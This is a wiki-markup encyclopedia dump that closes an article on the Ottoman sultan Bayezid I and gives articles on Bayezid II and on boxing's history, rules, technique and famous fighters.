In [[1400]], the Central Asian warlord [[Timur Lenk]] had succeeded in rousing the local kingdoms that had been conquered by the [[Ottoman Empire|Turks]] to join him in his attack on [[Bayezid]]. In the fateful [[Battle of Ankara]], on [[July 20]], [[1402]], [[Bayezid]] was captured by [[Timur]].  His sons however escaped, and fled to [[Serbia]] until [[Timur]] died. Some contemporary reports claimed that [[Timur]] kept [[Bayezid]] chained in a cage as a trophy. Likewise, there are many stories about [[Bayezid]]'s captivity, including one that describes how [[Timur]] used him as a footstool. Another one describes how Timur made [[Bayezid]]'s [[Serbian]] wife dance naked at his court. However, these accounts are thought to be false, as writers from [[Timur]]'s court reported that [[Bayezid]] was treated well, and that [[Timur]] even mourned his death.  Likewise, [[Timur]]'s own history with other rulers demonstrated that he was true to his word when he later claimed to have aimed at re-establishing [[Bayezid]] on the [[Ottoman]] throne.  One year later, [[Bayezid]] died &amp;mdash; some accounts claim that he committed [[suicide]].  

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{{succession box|title=[[Ottoman Sultan]]|before=[[Murad I]]|after=[[Ottoman Interregnum]]|years=1389&amp;ndash;1402}}
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[[Category:1354 births|Bayezid I]]
[[Category:1403 deaths|Bayezid I]]
[[Category:Sultans of the Ottoman Empire]]

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  <page>
    <title>Bayezid II</title>
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      <text xml:space="preserve">[[Image:Beyazid II.jpg|frame|Sultan Beyazid II]]

'''Bayezid II''' ([[1447]]/[[1448|48]] &amp;ndash; [[May 26]], [[1512]]) ([[Arabic language|Arabic]]: بايزيد الثاني) was the [[sultan]] of the [[Ottoman Empire]] from [[1481]] to [[1512]].

Bayezid was born in [[Demotika]] in [[Thrace]]. The son of [[Mehmed II]] the Conqueror, Bayezid ascended the Ottoman throne in 1481.  Like his father, Bayezid was a patron of western and eastern culture and unlike many other Sultans, worked hard to ensure a smooth running of domestic politics, which earned him the epithet of &quot;the Just&quot;.  Throughout his reign, Bayezid engaged in numerous campaigns to conquer the [[Republic of Venice|Venetian]]-held despotate of [[Morea]], accurately defining this region as the key to future Ottoman naval power in the Eastern [[Mediterranean]].  The last of these wars ended in [[1501]] with Bayezid in control of the main citadels of [[Mistra]] and [[Monemvasia]].  

Bayezid's overriding concern was the quarrel with his brother [[Cem]], who claimed the throne and sought military backing from the [[Knights of St John]] in [[Rhodes]].  Eventually the Knights handed Cem over to [[Pope Clement VII]].  The Pope thought of using Cem as a tool to drive the Turks out of Europe, but as the Papal Crusade failed to come to fruition, Cem was left to fester and die in a Neapolitan prison.

Rebellions in the east, such as that of the [[Kizil Bash]], plagued much of Bayezid's reign and were often backed by the [[Shah]] of [[Iran|Persia]], [[Ismail of Persia|Ismail]], who was eager to promote [[Shi'a Islam|Shi'ism]] to undermine the authority of the Ottoman state. Ottoman authority in [[Anatolia]] was indeed seriously threatened during this period, and at one point Bayezid's grand [[vizier]], Ali Pasha, was killed in battle against rebels.

Bayezid also sent out the Ottoman navy to Spain in 1492 to safely bring Jews, who were fleeing the Spanish Inquisition, to Ottoman lands.

On [[September 14]], [[1509]], Constantinople was devastated by an earthquake. Bayezid's final years saw a succession battle between his sons [[Selim I|Selim]] and Ahmed.  Ahmed, the older of the two claimants had won a battle against the Karaman Turks and their Safavid allies in Asia Minor and now marched on [[Constantinople]] to exploit his triumph.  Fearing for his safety, Selim staged a revolt in Thrace but was defeated by Bayezid and forced to flee to the [[Crimea]] ([[1511]]).  At this point, Bayezid developed fears that Ahmed might in turn kill him to gain the throne and refused to allow his son to enter Constantinople.

Selim returned from the Crimea and, with support from the [[Janissary|Janissaries]], defeated and killed Ahmed. Bayezid then [[abdication|abdicated]] the throne on [[April 25]], [[1512]]. He departed for retirement in his native Demotika, but he died along the way, and is buried next to [[Bayezid Mosque]] in [[Istanbul]].

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  <page>
    <title>Boxing</title>
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      <text xml:space="preserve">:''For other uses, see [[Boxing (disambiguation)]] or [[Boxer (disambiguation)]]''

[[Image:Boxing080905.jpg|thumb|450px]]

'''Boxing''', nicknamed the &quot;sweet science&quot; and also called '''pugilism''' or '''prizefighting''', is a sport where two participants of similar weight attack each other with their fists in a series of one to three-minute intervals called &quot;rounds&quot;. In both Amateur and Professional divisions, the combatants (called boxers or fighters) avoid their opponent's punches whilst trying to land punches of their own. Points are awarded for clean, solid blows to the legal area on the front of the opponent's body above the waistline, with hits to the head and torso especially valuable. The fighter with the most points after the scheduled number of rounds is declared the winner. Victory may also be achieved if the opponent is knocked down and unable get up before the referee counts to ten (a Knockout, or KO) or if the opponent is deemed too injured to continue (a Technical Knockout, or TKO).

==Origins==
[[Image:NAMA Akrotiri 2.jpg|thumb|200px|Youths boxing in a [[Minoan]] fresco on the Greek island of Santorini]]
Earliest evidence suggests that boxing was prevalent in North Africa during 4000 BC and the Mediterranean in 1500 BC.

A [[Ancient Greece|Greek]] ruler named Thesus, who ruled around 900 B.C., was entertained by men who would be seated in front of each other and beat another with their fists until one of them was killed. In time, the fighters fought on their feet and wore gloves (not padded) and wrappings on their arms below the elbows, but were otherwise naked when competing. First accepted as an Olympic sport (the ancient Greeks called it Pygme/ Pygmachia) in 688 BC, participants in the ancient games trained on punching bags (called a korykos). Keeping their fingers free, fighters then wore leather straps (called himantes) on their hands, wrists, and sometimes lower arms, to protect them from injury. 

In [[Ancient Rome]], fighters were usually criminals and slaves. They hoped to become champions and gain their freedom. However, free men also fought. Eventually, fist fighting became so popular that even aristocrats started fighting, but that was banned by the ruler [[Augustus]]. In 500 A.D., the sport was banned by [[Theodoric the Great]]. 

=== London Prize Ring rules (1839) ===

[[Image:Blow2.jpg|thumb|left|170px|The beginnings of the modern right cross demonstrated in Edmund Price's ''The Science of Self Defense: A Treatise on Sparring and Wrestling'', 1867]]

Records of boxing activity disappeared after the fall of the Roman Empire. The sport would later resurface in England during the early 18th century in the form of bare-knuckle prizefighting. The first documented account of a bare-knuckle fight in England appeared in 1681 in the &quot;London Protestant Mercury,&quot; and the first English bare-knuckle champion was [[James Figg]] in 1719. This is also the time when the word &quot;boxing&quot; first came to be used. 

Early bare-knuckle fighting was crude with no written rules. There were no weight divisions, round limits and no referee. Modern rules banning gouging, grappling, biting, headbutting, fish-hooking and blows below the belt were absent.

The first boxing rules were introduced by heavyweight champion [[Jack Broughton]] in 1743 to protect fighters in the ring where deaths sometimes occurred. Under these rules, if a man went down and could not continue after a count of 30 seconds, the fight was over. Hitting a downed fighter and grasping below the waist were prohibited. Broughton also invented &quot;mufflers&quot; (padded gloves), which were used in training and exhibitions.

In 1839, the [[London Prize Ring rules]] were introduced which superceded Jack Broughton's rules. Later revised in 1853, they stipulated the following:

* Fights occur in a 24-foot-square ring surrounded by ropes.
* If a fighter was knocked down, he must rise within 30 seconds of his own power to be allowed to continue.
* Biting, headbutting and hitting below the belt were declared fouls.

=== Marquess of Queensberry rules (1867) ===
In [[1867]], the [[Marquess of Queensberry rules]] were drafted by [[John Graham Chambers|John Chambers]] for amateur championships held at [[Lillie Bridge]] in [[London]] for Lightweights, Middleweights and Heavyweights. The rules were published under the patronage of the [[John Sholto Douglas, 9th Marquess of Queensberry|Marquess of Queensberry]], whose name has always been associated with them. 

There were twelve rules in all, and they specified that fights should be &quot;a fair stand-up boxing match&quot; in a 24-foot-square ring. Rounds were three minutes long with one minute rest intervals between rounds. Each fighter was given a ten-second count if he was knocked down and wrestling was banned.

The introduction of gloves of &quot;fair-size&quot; also changed the nature of the bouts. An average pair of boxing gloves resembles a bloated pair of mittens and are laced up around the wrists. Gloves protected the [[knuckles|hands]] of both fighters but their considerable size and weight made knock-out victories more difficult to achieve. Resultantly, bouts became longer and more strategic with greater importance attached to defensive maneuvers such as slipping, bobbing, countering and angling.

The English case of ''[[R v. Coney]]'' in [[1882]] found that a [[bare-knuckle]] fight was an [[assault]] occasioning [[actual bodily harm]], depite the [[consensual crime|consent]] of the participants. This marked the end of widespread public bare-knuckle contests in England.

The first world heavyweight champion under the Queensberry Rules was [[James J. Corbett|&quot;Gentleman Jim&quot; Corbett]], who defeated [[John L. Sullivan]] in [[1892]] at the Pelican Athletic Club in [[New Orleans]].

With the gradual acceptance of formalised rules, two distinct branches of boxing emerged; Professional and Amateur. The boxing rules enforced by governing bodies worldwide today at the local, national and international level are all derived in some way from the Marquis of Queensberry Rules.

==Amateur boxing==

In amateur boxing (the version of the sport found at the [[Olympic Games]] and [[Commonwealth Games]]) the primary emphasis is on landing scoring punches rather than concern with doing physical damage to one's opponent. Competitors wear protective headgear and box for three to five rounds of two or three minutes each. Gloves in amateur boxing have a white strip across the knuckle. A punch is considered a scoring punch only when the boxers connect with the white portion of the gloves. Each punch that lands on the head or torso is awarded a point. A [[referee (boxing)|referee]] monitors the fight to ensure that competitors use only legal blows (a belt worn over the torso represents the lower limit of punches - any boxer repeatedly landing &quot;low blows&quot; is disqualified). Referees also ensure that the boxers don't use holding tactics to prevent the opponent from swinging (if this occurs, the referee separates the opponents and orders them to continue boxing. Repeated holding can result in a boxer being penalized, or ultimately, disqualified).

Also, in amateur boxing, referees will readily step in and stop the contest even if the competitor is only relatively lightly injured. As a result, the risk of grievous injury is considerably reduced in amateur boxing versus professional boxing.

===Amateur boxing history===

The Queensberry Amateur Championships continued from [[1867]] to [[1885]], and so, unlike their professional counterparts, amateur boxers did not deviate from using gloves once the Queensberry Rules had been published. In the United Kingdom, the [[Amateur Boxing Association]] (A.B.A.) was formed in [[1880]] when twelve clubs affiliated. It held its first championships the following year. Four weight classes were contested, Featherweight (9 stone), Lightweight (10 stone), Middleweight (11 stone, 4 pounds) and Heavyweight (no limit). (A stone is equal to 14 pounds). By [[1902]], American boxers were contesting the titles in the A.B.A. Championships, which, therefore, took on an international complexion. By [[1924]], the A.B.A. had 105 clubs in affiliation.

Boxing first appeared at the [[Olympic Games]] in [[1904]] and, apart from the Games of [[1912]], has always been part of them. From 1972 through 2004, Cuba and the United States have won the most Gold Medals, 29 for Cuba and 21 for the U.S. Internationally, amateur boxing spread steadily throughout the first half of the 20th century, but when the first international body, the Federation Internationale de Boxe Amateur (International Amateur Boxing Federation) was formed in [[Paris]] in 1920, there were only five member nations. In [[1946]], however, when the International Amateur Boxing Association (A.I.B.A.) was formed in London, twenty-four nations from five continents were represented, and the A.I.B.A. has continued to be the official world federation of amateur boxing ever since. The first World Amateur Boxing Championships were staged in [[1974]].

In the late 19th and early 20th century, amateur boxing was encouraged in schools, universities and in the armed forces, but the champions usually came from among the urban poor.

Women's boxing first appeared in the Olympic Games at a demonstration bout in 1904. For most of the 20th century, however, it was banned in most nations. Its revival was pioneered by the Swedish Amateur Boxing Association, which sanctioned events for women in [[1988]]. The British Amateur Boxing Association sanctioned its first boxing competition for women in [[1997]]. The first event was to be between two thirteen-year-olds, but one of the boxers withdrew because of hostile media attention. Four weeks later, an event was held between two sixteen-year-olds.

The A.I.B.A. accepted new rules for Women's Boxing at the end of the 20th century and approved the first European Cup for Women in [[1999]] and the first World Championship for women in [[2001]]. Women's boxing will be an exhibition sport at the [[2008]] Olympics, but it won't become an official Olympic sport until the [[2012]] Olympics.
. 

A  new scoring system was invented for amateur boxing: using a computer, judges must press a button every time they think a boxer landed a punch. When three or more of the five judges press the button within a second of each other, the punch counts as a &quot;point&quot; for the fighter that landed it. Punches to the head or face of an opponent usually score the most points for a competitor. At any point of the fight in which a fighter is leading by twenty points (or sometimes more), the referee is indicated and the fight is stopped, the leading fighter winning by &quot;mercy&quot;, and credited with a knockout.

==Professional boxing==
Professional bouts are far longer than amateur bouts (ranging from four to twelve rounds), headgear is not permitted, and boxers are generally allowed to take much more punishment before a fight is halted. At any time, however, the referee may stop the contest if he believes that one participant can not or should not continue to box. In that case, the other participant is awarded a technical knockout win, which appears on the boxer's record as a knockout win (or loss). A technical knockout would also be awarded if a fighter lands a punch that opens a cut on the opponent, and the opponent is later deemed not fit to continue by a doctor because of the cut. If a boxer simply quits fighting, or if his corner stops the fight, then the winning boxer is also awarded a technical knockout victory.

If a knockout or disqualification does not occur, the fight must go to the ''scorecards''. Professional fights have three judges each, and each of the judges must use the 10 point must system: Under this system, each time a boxer wins a round in the judges' eyes, the judge gives that boxer 10 points, and the other 9 or less. If the judge deems the round to be a tie, he or she may score it 10-10. When the fight reaches its scheduled distance, all scores are added, round by round, to determine who won on each judges' cards. When all three judges have the same boxer as the winner, this is an unanimous decision. When two judges have one boxer winning the fight and the other one has it a tie, this is called a majority decision. When two judges have one boxer winning the fight and the other judge has the other boxer winning, this is called a split decision. When one judge gives his or her vote to one boxer, another one gives it to the other boxer, and the third judge calls it a tie, this is a [[draw]]. It is also a draw when two judges score the fight a tie, regardless of who the third judge score the bout for. 

In the United Kingdom, the bout is only scored by the referee, except when a title is at stake, in which case it is scored by three judges.

If a fight can not go on because of an injury caused to one of the competitors by a headbutt, there are different rules: If the fight has not reached the end of round three, (in some places, round four), the fight is declared a technical draw or a no contest. If it has reached beyond the end of round three (or four), then the scorecards are read and whoever is ahead, wins by a [[technical decision]].

=== Evolution of professional boxing ===

In [[1891]], the [[National Sporting Club]] (N.S.C.), a private club in London, began to promote professional glove fights at its own premises, and created nine of its own rules to augment the Queensberry Rules. These rules specified more accurately the role of the officials, and produced a system of scoring that enabled the referee to decide the result of a fight. The [[British Boxing Board of Control]] (B.B.B.C.) was first formed in [[1919]] with close links to the N.S.C., and was re-formed in 1929 after the N.S.C. closed.

In [[1909]], the first of twenty-two belts were presented by the fifth [[Earl of Lonsdale]] to the winner of a British title fight held at the N.S.C. In [[1929]], the B.B.B.C. continued to award Lonsdale Belts to any British boxer who won three title fights in the same weight division. The &quot;title fight&quot; has always been the focal point in professional boxing. In the 19th and early 20th centuries, however, there were title fights at each weight. Promoters who could stage profitable title fights became influential in the sport, as did boxers' managers. The best promoters and managers have been instrumental in bringing boxing to new audiences and provoking [[mass media|media]] and public interest. The most famous of all three-way partnership (fighter-manager-promoter) was that of [[Jack Dempsey]] ([[List of Heavyweight Champions|Heavyweight Champion]], [[1919]]-[[1926]]), his manager [[Jack Kearns]], and the promoter [[Tex Rickard]]. Together they grossed US$ 8.4 million in only five fights between [[1921]] and [[1927]] and ushered in a &quot;golden age&quot; of popularity for professional boxing in the [[1920s]]. They were also responsible for the first live radio broadcast of a title fight (Dempsey v. [[Georges Carpentier]], in 1921). In the United Kingdom, [[Jack Solomons]]' success as a fight promoter helped re-establish professional boxing after the [[World War II|Second World War]] and made the UK a popular place for title fights in the [[1950s]] and [[1960s]].

In the first part of the 20th century, the [[United States]] became the centre for professional boxing. It was generally accepted that the &quot;world champions&quot; were those listed by the ''[[Police Gazette]]''. After [[1920]], the [[National Boxing Association]] (N.B.A.) began to sanction &quot;title fights&quot;. Also during that time, [[Ring Magazine]] magazine was founded and it listed champions and awarded championship belts. The N.B.A. was renamed in [[1962]] and became the [[World Boxing Association]] (W.B.A.). The following year, a rival body, the [[World Boxing Council]] (W.B.C.), was formed. In [[1983]], another world body, the [[International Boxing Federation]] (I.B.F.) was formed. By the end of the 20th century, a boxer had to be recognized by the three separate bodies to be the &quot;Undisputed World Champion&quot;. Regional sanctioning bodies such as the [[North American Boxing Federation]], the [[North American Boxing Council]] and the [[United States Boxing Association]] also awarded championships. [[Ring Magazine]] also continued listing the World Champion of each weight division, and its rankings continue being of the most appreciated by fans.

Although women fought professionally in many countries, in the United Kingdom the B.B.B.C. refused to issue licences to women until [[1998]]. By the end of the century, however, they had issued five such licenses. The first sanctioned bout between women was in November 1998 at [[Streatham]] in London, between [[Jane Couch]] and [[Simona Lukic]].

=== Equipment ===

Boxing techniques utilize very forceful strikes with the hand. There are many bones in the hand, and striking surfaces without proper technique can cause serious hand injuries. Today, most trainers do not allow boxers to train and spar without handwraps and gloves. Handwraps are used to secure the bones in the hand, and the gloves are used to protect the hands from blunt injury, allowing boxers to throw punches with more force than if they did not utilize them.

Headgear, used in amateur boxing, protects against cuts, scrapes, and swelling, but does not protect very well against concussions. Headgear does not sufficiently protect the brain from the jarring that occurs when the head is struck with great force. Also, most boxers aim for the chin on opponents, and the chin is usually not padded. Thus, a powerpunch can do a lot of damage to a boxer, and even a jab that connects to the chin can cause damage, regardless of whether or not headgear is being utilized.

=== Length of bouts ===

For decades, from the 1920s to the 1980s, world championship matches in professional boxing were scheduled for fifteen rounds, but that changed after a November 13, 1982 WBA Lightweight title bout ended with the death of boxer [[Duk Koo Kim]] in a fight against [[Ray Mancini]] in the 14th round of a nationally televised championship fight on CBS.   

Exactly three months after the fatal fight, the [[World Boxing Council]] reduced the number of their championship fights to 12 rounds. The [[World Boxing Association]] even stripped a fighter of his championship in 1983 because the fight had been a 15-round bout, shortly after the rule was changed to 12 rounds.  By [[1988]], to the displeasure of many boxing purists, all fights had been reduced to a maximum of 12 rounds only, partially for safety, and partially for television, as a 12-round bout could take one hour to broadcast, while a 15-round bout could requre 90 minutes to broadcast.

== Technique ==

===Stance and movement===

'''Development'''

The modern boxing stance is a reflection of the current system of rules employed by professional boxing. It differs in many ways from the typical boxing stances of the 19th and early 20th centuries. It's been stated that Americans adopted a more upright vertical armed guard (as opposed to more horizontally held, knuckles facing the ground guard as seen when looking at early 20th century boxers such as Jack Johnson) due to the Americans' confrontations with the Filipino natives as a result of the Philippines Spanish-American war.  When engaged in hand to hand combat, the Filipinos would slash the wrists of the American soldiers, the Americans adapted by changing the guarded stance and thus just one example of a boxing technicality evolving.  

'''The Boxer's Stance'''

The following stance applies for a right-handed boxer. The boxer stands with the legs shoulder-width apart with the right foot a half-step behind the left foot. The left (lead) fist is held vertically about six inches in front of the face at eye level. The right (rear) fist is held beside the chin and the elbow tucked against the ribcage to protect the body. The chin is tucked into the chest to avoid punches to the jaw which commonly cause knock-outs. Modern boxers can sometimes be seen &quot;tapping&quot; their cheeks or foreheads with their fists in order to remind themselves to keep their hands up (which becomes difficult during long bouts). 

'''Movement'''

Modern boxers are taught to &quot;push off&quot; with their feet in order to move effectively. Forward motion involves lifting the lead leg and pushing with the rear leg. Rearward motion involves lifting the rear leg and pushing with the lead leg. During lateral motion the leg in the direction of the movement moves first while the opposite leg provides the force needed to move the body.

===Punches===

There are four basic punches in boxing: the Jab, Cross, Hook and Uppercut. If a boxer is right-handed, his left hand is the lead hand, his right hand is the rear hand and vice versa. The following techniques apply to a right-handed boxer. A right-handed boxer's handedness is commonly described as orthodox. A left-handed boxer is called an unorthodox boxer or a [[Southpaw]].

* Jab - A quick, straight punch thrown with the lead hand from the guard position. The jab is accompanied by a small, clockwise rotation of the torso and hips, while the fist rotates 180 degrees, becoming horizontal upon impact. As the punch reaches full extension, the lead shoulder is brought up to guard the chin. The rear hand remains next to the face to guard the jaw. After making contact with the target, the lead hand is retracted quickly to resume a guard position in front of the face. The jab is the most important punch in a boxer's arsenal because it provides a fair amount of its own cover and it leaves the least amount of space for a counterpunch from the opponent. It has the longest reach of any punch and does not require commitment or large weight transfers. Due to its relatively weak power, the jab is often used as a tool to gauge distances, probe an opponent's defenses, and set up heavier, more powerful punches. A half-step may be added, moving the entire body into the punch, for additional power.

* Cross - A powerful straight punch thrown with the rear hand. From the guard position, the rear hand is thrown from the chin, crossing the body and travelling towards the target in a straight line. The rear shoulder is thrust forward and finishes just touching the outside of the chin. At the same time, the lead hand is retracted and tucked against the face to protect the inside of the chin. For additional power, the torso and hips are rotated anti-clockwise as the cross is thrown. Weight is also transferred from the rear foot to the lead foot, resulting in the rear heel turning outwards as it acts as a fulcrum for the transfer of weight. Body rotation and the sudden weight transfer is what gives the cross its power. Like the jab, a half-step forward may be added. After the cross is thrown, the hand is retracted quickly and the guard position resumed. It can be used to counterpunch a jab, aiming for the opponent's head (or a counter to a cross aimed at the body) or to set up a hook. The cross can also follow a jab, creating the classic &quot;one-two combo.&quot; The cross is also called a &quot;straight&quot; or &quot;right.&quot; 

* Hook - A semi-circular punch thrown with the lead hand to the side of the opponent's head. From the guard position, the elbow is drawn back with a horizontal fist (knuckles pointing forward) and the elbow bent. The rear hand is tucked firmly against the jaw to protect the chin. The torso and hips are rotated clockwise, propelling the fist through a tight, clockwise arc across the front of the body and connecting with the target. At the same time, the lead foot pivots clockwise, turning the left heel outwards. Upon contact, the hook's circular path ends abruptly and the lead hand is pulled quickly back into the guard position. A hook may also target the lower body (the classic Mexican hook to the liver) and this technique is sometimes called the &quot;rip&quot; to distinguish it from the conventional hook to the head. The hook may also be thrown with the rear hand.

* Uppercut - A vertical, rising punch thrown with the rear hand. From the guard position, the torso shifts slightly to the right, the rear hand drops below the level of the opponent's chest and the knees are bent slightly. From this position, the rear hand is thrust upwards in a rising arc towards the opponent's chin or torso. At the same time, the knees push upwards quickly and the torso and hips rotate anti-clockwise and the rear heel turns outward, mimicking the body movement of the cross. The strategic utility of the uppercut depends on its ability to &quot;lift&quot; the opponent's body, setting it off-balance for successive attacks. The right uppercut followed by a left hook is a deadly combination.

===Defense===

*Slip - Slipping rotates the body slightly so that an incoming punch passes harmlessly next to the head. As the opponent's punch arrives, the boxer sharply rotates the hips and shoulders. This turns the chin sideways and allows the punch to &quot;slip&quot; past. 

*Bob and Weave - Bobbing moves the head laterally and beneath an incoming punch. As the opponent's punch arrives, the boxer bends the legs quickly and simultaneously shifts the body either slightly right or left. Once the punch has been evaded, the boxer &quot;weaves&quot; back to an upright position, emerging on either the outside or inside of the opponent's still-extended arm. To move outside the opponent's extended arm is called &quot;bobbing to the outside&quot;. To move inside the opponent's extended arm is called &quot;bobbing to the inside&quot;.

*Parry - Parrying uses the boxer's hands as defensive tools to deflect incoming attacks. As the opponent's punch arrives, the boxer delivers a sharp, lateral, open-handed blow to the opponent's wrist or forearm, redirecting the punch.

*The Cover-Up - Covering up is the last line of defense against an incoming strike to an unprotected face or body. Generally speaking, the hands are held high to protect the head and chin and the forearms are tucked against the torso to impede body shots. When protecting the body, the boxer rotates the hips and lets incoming punches &quot;roll&quot; off the guard. When protecting the head, the boxer presses both fists against the front of the face with the forearms parallel and facing outwards. 

*The [[grappling position#Stand-up grappling position|Clinch]] - Clinching is a rough form of [[grappling]] and occurs when the distance between both fighters has closed and straight punches cannot be employed. In this situation, the boxer attempts to [[grappling hold|hold]] or &quot;tie up&quot; the opponent's hands so he is unable to throw roundhouse punches or uppercuts. To perform a clinch, the boxer loops both hands around the outside of the opponent's shoulders, scooping back under the forearms to grasp the opponent's arms tightly against his own body. In this position, the opponent's arms are pinned and cannot be used to attack. Clinching is a temporary match state and is quickly dissipated by the referee.

=== Tactics and strategy ===

'''The &quot;Rope-a-dope&quot; Strategy'''
*A tactic famously used by [[Muhammad Ali]] in his 1974 &quot;[[Rumble in the Jungle]]&quot; bout against [[George Foreman]]. The rope-a-dope method involves laying back on the ropes, covering up defensively as much as possible and allowing the opponent to land punches. Weathering the blows, the fighter lures the opponent into expending his energy whilst conserving his own. If successful, the attacking opponent will eventually tire, creating defensive flaws which the fighter now exploits. However, the rope-a-dope is generally discouraged in modern boxing since most opponents are not fooled by it and few boxers possess the physical toughness to withstand a prolonged, unanswered assault.

'''The &quot;Peek-a-Boo&quot; Style'''
*A method made famous by [[Mike Tyson]], the peek-a-boo involves heavy emphasis on &quot;bobbing and weaving.&quot;  Through elusive head movement, the boxer frustrates his opponent's attempts to land blows, and counters them with powerful punches of his own.

'''Stick and Move'''
*This strategy is very popular in amateur boxing where points are often more important than damage.  It is also used extensively by many professional fighters.  The &quot;stick and move&quot; method involves avoiding the opponent through elusive footwork.  The boxer will land well-timed jabs, then back away again without giving the opponent opportunity to launch an attack of his own.  In this way, a fighter can slowly wear down an adversary in relative safety.

'''Brawling'''
*This strategy involves attacking aggressively without backing away for rest or defense.  This is a risky tactic, as defense becomes difficult for both fighters when so many punches are being thrown together.  Contests tend to finish quickly when one of the fighters chooses to employ this method.  Often considered the strategy of unskilled fighters, this method is often used by skilled fighters after they have gained an advantage by first injuring their opponent.

'''Ring Control'''
*A boxer can gain advantage through strategic control of the space inside the boxing ring.  A fighter employing this method will position himself at the center of the ring, and allow his opponent to circle around him as they fight.  He must not let his opponent push him backward too far, or he will lose control of the center.  As they fight, the boxer will attempt to push his opponent backwards toward the ropes, cutting down on the amount of space available for him to maneuver as he circles the center.  If possible, the boxer will trap his opponent in the corner of the ring.  When this happens, the boxer will attack more aggressively, keeping his opponent trapped.  The trapped fighter will not be able to move side to side for defense, and will be forced to hold his ground until he can make the attacking fighter retreat.

'''Bolo punch'''
*Occasionally seen in amateur boxing, the bolo is an arm punch which owes its power to the shortening of a circular arc rather than to transference of body weight; it tends to have more of an effect due to the surprise of the odd angle it lands at rather than the actual power of the punch.  This is more of a gimmick than a technical maneuver, this punch is not taught, it is on the same plane in boxing technicality as is the [[Muhammad Ali|Ali shuffle]].

==Boxing legends==

The boxing world has produced talented and world famous personalities in both the amateur and professional realms. Famous amateur boxers have usually been Olympic medallists. The Olympics have long been considered a springboard for professional entry, though some Olympic champions prefer to retain their amateur status, including two Cuban three-time gold medalists, [[Teófilo Stevenson]] and [[Félix Savón]]. 

It is the professional side of boxing, however, that has produced the celebrities whose activities the public have generally followed. In the period between bare-knuckle pugilism and post-Queensberry boxing, Jem Mace was important. He carried many of the traditions of the old London Prize-Ring, but promoted the use of gloves and helped to popularize the sport in the United States and Australia. In the post-Queensberry era, the first British fighter to achieve superstar status was Bob Fitzsimmons. He weighed less than 12 stone but won world titles at Middleweight (1892), Light Heavyweight (1903), and Heavyweight (1897). He fought his last bout at the age of fifty-two.

The United Kingdom, the birth place of modern boxing, has produced numerous boxing legends. Among British amateur boxers, only those who won Olympic gold medals tended to achieve recognition beyond the limits of boxing enthusiasts. They included Harry Mallin (Middleweight), 1920 and 1924), Terry Spinks (Flyweight, 1956), Dick McTaggart (Lightweight, 1956) and Chris Finnegan (Middleweight, 1968). 

====London rules and pre-Queensberry era====
The bareknuckle era produced legends like John L. Sullivan, the first world heavyweight champion. Sullivan has been called the first great American sports hero.

In keeping with the Lineage of the World Heavyweight Title which began with the great John L., it should be noted that the &quot;real&quot; Title can only be passed on via a Title fight. Regardless of the politics or alphabet groups which santion Title bouts, following is the &quot;real&quot; lineage of the World Heavyweight Title:

[01]JOHN L. SULLIVAN  [02]JAMES J. CORBETT  [3]BOB FITZSIMMONS 
[04]JAMES J. JEFFRIES - Retired as World Heavyweight Champion 
[05]MARVIN HART(Hart Beat Jack Root for Title for after being named to fight for Title by Jeffries)  [06]TOMMY BURNS  [07]JACK JOHNSON (Beat a returning Jeffries and cemented his claim to Title)
[08]JESS WILLARD  [09]JACK DEMPSEY  [10]GENE TUNNEY - Retired as World Heavyweight Champion  [11]MAX SCHMELING (Beat Jack Sharkey who won the NBA Championship)  [12]JACK SHARKEY  [13]PRIMO CARNERA  
[14]MAX BAER  [15]JAMES J. BRADDOCK  [16]Joe Louis - Retired as World Heavyweight Champion  [17]EZZARD CHARLES (Won NBA Title - Beat a returning Joe Louis and cemented his claim to Title)  [18]JERSEY JOE WALCOTT  [19]ROCKY MARCIANO - Retired as World Heavyweight Champion  [20]FLOYD PATTERSON - (Beat Light-Heavyweight Champion Archie Moore)  [21]INGEMAR JOHANSSON  [22]FLOYD PATTERSON Became first man to regain World Heavyweight Title  [23]SONNY LISTON  [24]CASSIUS CLAY aka MUHAMMED ALI  [25]JOE FRAZIER (Frazier had won recognition by NBA and WBC) - Beat a returning Ali win World Heavyweight Title)  [26]GEORGE FOREMAN  [27]MUHAMMED ALI (Became second man to regain World Heaveyweight Title)  [28]LEON SPINKS  [29]MUHAMMED ALI (Became first man to regain World Heavyweight Title a third time) - Retired as World Heavyweight Champion  [30]LARRY HOLMES (Holmes had won recognition by WBC and IBF)- Beat a returning Ali and cemented his claim to Title)  [31]MICHAEL SPINKS  
[32]MIKE TYSON  [33]BUSTER DOUGLAS  [34]EVANDER HOLYFIELD
[35]RIDDICK BOWE  [36]EVANDER HOLYFIELD (Became third man to regain World Heavyweight Title)  [37]MICHAEL MOORE  [38]GEORGE FOREMAN (Became fourth man to regain World Heavyweight Title  [39]SHANNON BRIGGS  [40]LENNOX LEWIS  [41]OLIVER MCCALL  [42]LENNOX LEWIS (Became fifth man to regain World Heavyweight Title)  [43]HASSIM RAHMAN  [44]LENNOX LEWIS - (Became second man to regain World Heavyweight Title a third time) - Retired as Heavyweight Champion  [45]NO LINEAR CHAMPION AT THIS TIME.

====1900s to 1920s====
It is the post-Queensberry (or Modern) era that has the greatest number of legendary boxers, such as world heavyweight champions [[Jim Jeffries]] (the first [[Great White Hope]]) and [[Jack Johnson (boxer)|Jack Johnson]] (the first black world heavyweight champion).

Successful fighters have provoked fierce local pride. The best example was [[Jimmy Wilde]], a Welsh flyweight who won the world Flyweight Championship in 1916 and held it until 1923. He once had a sequence of eighty-eight fights without defeat. Between 1911 and 1923, he won seventy-five of his fights by a knockout. He was idolized in Wales, where they commonly believed him to be the best boxer, pound-for-pound, that ever lived. He was described as the &quot;Mighty Atom&quot; and &quot;the ghost with a hammer in his hand&quot;.

====1920s to 1940s====
[[Image:Jack dempsey ring loc 50497v.jpg|thumb|250px|Jack Dempsey in the ring]]
[[Jack Dempsey]] was one of the most important athletes of the roaring twenties and became the World heavyweight champion after defeating [[Jess Willard]]. [[Joe Louis]] dominated the heavyweight scene for 12 years before retiring as world champion in 1949. Shortly before the beginning of [[World War II|WW2]], the battles between Louis and [[Max Schmeling]] were seen as battles between [[United States|America]] and [[Nazi Germany]]. Louis is considered by many as one of the best boxers of the Depression and possibly of all time. Another famous boxer, [[James Braddock]] (better known as the ''[[Cinderella Man]]'') inspired many with his rags to riches story. He eventually fought his way to the heavyweight title and won against [[Max Baer]] who had 10 to 1 odds in his favor. Braddock finally lost his title to [[Joe Louis]] but made financial arrangements with him to receive 10% of the profits from the rest of Louis's fights.

